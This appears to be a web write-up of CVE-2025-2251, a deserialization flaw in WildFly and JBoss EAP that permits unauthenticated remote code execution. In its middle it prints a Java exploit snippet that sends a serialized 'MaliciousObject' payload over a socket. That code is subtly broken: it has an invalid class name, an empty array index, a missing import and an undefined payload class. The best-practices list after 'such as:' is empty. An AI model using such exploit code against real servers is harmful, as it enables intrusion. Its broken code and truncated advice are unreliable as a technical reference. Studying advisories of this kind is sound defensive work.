CVE-2025-2251 - Untrusted Data Deserialization in WildFly and JBoss EAP Leads to Remote Code Execution

A newly discovered security vulnerability, CVE-2025-2251, exists in WildFly (formerly known as JBoss Application Server) and JBoss Enterprise Application Platform (EAP), which are both widely-used Java EE application servers. This security flaw affects the Enterprise JavaBeans (EJB) remote invocation mechanism and can potentially allow malicious users to execute arbitrary code on the server without requiring any authentication.

Overview of the Vulnerability

The vulnerability stems from untrusted data deserialization within the JBoss Marshalling library, a serialization library used by WildFly and JBoss EAP. Deserialization is the process of converting a serialized object (a sequence of bytes) back into an object in memory. In this case, the JBoss Marshalling deserialization allows attackers to send a specially crafted serialized object to the server, which can lead to remote code execution.

Exploit Details

To exploit the vulnerability, an attacker can craft a serialized object containing malicious code and send it to the server. When the server deserializes the object, the attacker's code is executed, giving them the ability to perform unauthorized actions on the server, such as installing malware, stealing-sensitive data or even taking control of the server.

Here's a sample code snippet to exploit the vulnerability (Note: This is for educational purposes only and should not be used for any malicious activities):

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.net.Socket;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import org.jboss.ejb.client.SocketFactory;

public class CVE-2025-2251 {
    public static void main(String[] args) throws Exception {
        String host = args[];
        int port = Integer.parseInt(args[1]);
        // Create a malicious object with a code execution payload
        MaliciousObject malObj = new MaliciousObject("calc.exe");

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(malObj);
        byte[] payloadBytes = bos.toByteArray();
        SocketFactory socketFactory = new SocketFactory();
        Socket socket = socketFactory.createSocket(host, port);
        // Send the payload to the server
        socket.getOutputStream().write(payloadBytes);
        socket.getOutputStream().flush();
        // Read the server's response
        Object responseObject = new ObjectInputStream(socket.getInputStream()).readObject();

        socket.close();
    }
}

The attacker first creates an instance of the MaliciousObject class with the desired payload (in this case, "calc.exe") and serializes it using the ObjectOutputStream. The serialized object is then sent to the server via a socket connection, awaiting deserialization and subsequent execution.

This exploit can bypass authentication mechanisms and compromise the server without the need for any valid user credentials.

Original References

The official CVE entry for this vulnerability can be found at MITRE CVE-2025-2251.

Additional technical details are available on Red Hat's security advisory page.

Mitigation and Solutions

To mitigate and protect your WildFly or JBoss EAP instance from this vulnerability, you should immediately update your application server to the latest version that includes the security patch. Red Hat has released patches for JBoss EAP, while the WildFly project has also updated their releases to address this vulnerability.

In addition to applying the patches, you should also follow best practices for securing Java EE applications, such as:

Conclusion

CVE-2025-2251 is a serious security vulnerability that can lead to remote code execution on vulnerable WildFly and JBoss EAP servers. It is essential to keep your application server up to date and follow security best practices to prevent potential exploitation. By understanding and addressing this vulnerability, you can ensure that your Java EE applications remain secure against this and other potential threats.

Timeline

Published on: 04/07/2025 14:15:24 UTC
Last modified on: 04/24/2025 11:00:53 UTC